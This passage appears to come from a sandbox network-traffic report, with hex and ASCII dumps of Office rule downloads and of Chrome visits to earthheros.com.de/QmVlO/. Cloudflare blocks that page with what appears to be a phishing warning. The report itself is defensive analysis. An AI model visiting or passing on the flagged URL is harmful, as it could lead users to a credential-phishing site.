encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 619deb8e-b01e-005c-5ed8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-16b659b4499z4tq4vyreufa8gn000000051000000000fc4s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2f3b5d3f-801e-002a-38d8-1e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-r197bdfb6b488ks5g2m20m5xu400000008bg00000000h5yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49764	172.67.157.17	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	691	OUT	GET /QmVlO/ HTTP/1.1 Host: earthheros.com.de Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://boldlionapparel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:36 UTC	605	IN	HTTP/1.1 403 Forbidden Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cR4qaw1sRGOne6Z2b%2BstG7J5yPmJONU%2B8fccn2EOGmvskvQslEHgNgr5WzaQ96eKNHnWmPCZDZtSWQiG7S7vR2Td6uAN4KaVymztZhDBwmBykgYm%2BHf2V5bTKRvm7H%2F6VowtWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d393d6a9a61e9b9-DFW
2024-10-16 15:56:36 UTC	764	IN	Data Raw: 31 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1157<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-16 15:56:36 UTC	1369	IN	Data Raw: 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 Data Ascii: ylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function (
2024-10-16 15:56:36 UTC	1369	IN	Data Raw: 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 Data Ascii: ef="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method
2024-10-16 15:56:36 UTC	945	IN	Data Raw: 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 Data Ascii: class="hidden" id="cf-footer-ip">155.94.241.186</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" h
2024-10-16 15:56:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 20e65ee1-a01e-000d-7cd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-15b8d89586fhl2qtt2ydkugwts000000022g00000000ema3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:36 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: a7eb38d6-901e-005b-12d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155636Z-16b659b4499mcktpfn1m4deuag00000006k00000000040zk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:36 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: c66797d1-301e-0096-71d8-1ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-r197bdfb6b4lbgfqheuaxfm7xn00000004pg00000000kwz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49769	172.67.157.17	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	567	OUT	GET /cdn-cgi/styles/cf.errors.css HTTP/1.1 Host: earthheros.com.de Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earthheros.com.de/QmVlO/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:37 UTC	411	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/css Content-Length: 24051 Connection: close Last-Modified: Mon, 14 Oct 2024 09:31:04 GMT ETag: "670ce4d8-5df3" Server: cloudflare CF-RAY: 8d393d6c4e133178-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Wed, 16 Oct 2024 17:56:37 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	958	IN	Data Raw: 23 63 66 2d 77 72 61 70 70 65 72 20 61 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 62 62 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 72 74 69 63 6c 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 61 73 69 64 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 69 67 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 62 6f 64 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 61 6e 76 61 73 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 61 70 74 69 6f 6e 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 65 6e 74 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 69 74 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 63 6f 64 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 64 64 2c 23 63 66 2d 77 72 61 70 70 Data Ascii: #cf-wrapper a,#cf-wrapper abbr,#cf-wrapper article,#cf-wrapper aside,#cf-wrapper b,#cf-wrapper big,#cf-wrapper blockquote,#cf-wrapper body,#cf-wrapper canvas,#cf-wrapper caption,#cf-wrapper center,#cf-wrapper cite,#cf-wrapper code,#cf-wrapper dd,#cf-wrapp
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 74 72 6f 6e 67 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 62 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 6d 6d 61 72 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 75 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 61 62 6c 65 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 62 6f 64 79 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 66 6f 6f 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 68 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 68 65 61 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 75 2c 23 63 66 2d 77 72 61 70 70 65 72 20 75 6c 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f Data Ascii: e,#cf-wrapper strong,#cf-wrapper sub,#cf-wrapper summary,#cf-wrapper sup,#cf-wrapper table,#cf-wrapper tbody,#cf-wrapper td,#cf-wrapper tfoot,#cf-wrapper th,#cf-wrapper thead,#cf-wrapper tr,#cf-wrapper tt,#cf-wrapper u,#cf-wrapper ul{margin:0;padding:0;bo
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 31 2e 35 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 34 36 2c 31 33 39 2c 33 31 2c 2e 33 29 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 73 65 63 74 69 6f 6e 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 65 6d Data Ascii: 1.5!important;text-decoration:none!important;letter-spacing:normal;-webkit-tap-highlight-color:rgba(246,139,31,.3);-webkit-font-smoothing:antialiased}#cf-wrapper .cf-section,#cf-wrapper section{background:0 0;display:block;margin-bottom:2em;margin-top:2em
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 74 77 6f 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 32 2e 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 32 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 Data Ascii: ld(2n),#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.four>.cf-column:nth-child(2n),#cf-wrapper .cf-columns.two>.cf-column:nth-child(2n){padding-left:22.5px;padding-right:0}#cf-wrapper .cf-columns.cols-2>.cf-column:nth-chi
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 6f 64 64 29 7b 63 6c 65 61 72 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 63 6f 6c 73 2d 34 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 34 6e 2b 31 29 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 2e 66 6f 75 72 3e 2e 63 66 2d 63 6f 6c 75 6d 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 63 6f 6c 75 6d 6e 73 Data Ascii: ),#cf-wrapper .cf-columns.four>.cf-column:nth-child(odd){clear:none}#cf-wrapper .cf-columns.cols-4>.cf-column:first-child,#cf-wrapper .cf-columns.cols-4>.cf-column:nth-child(4n+1),#cf-wrapper .cf-columns.four>.cf-column:first-child,#cf-wrapper 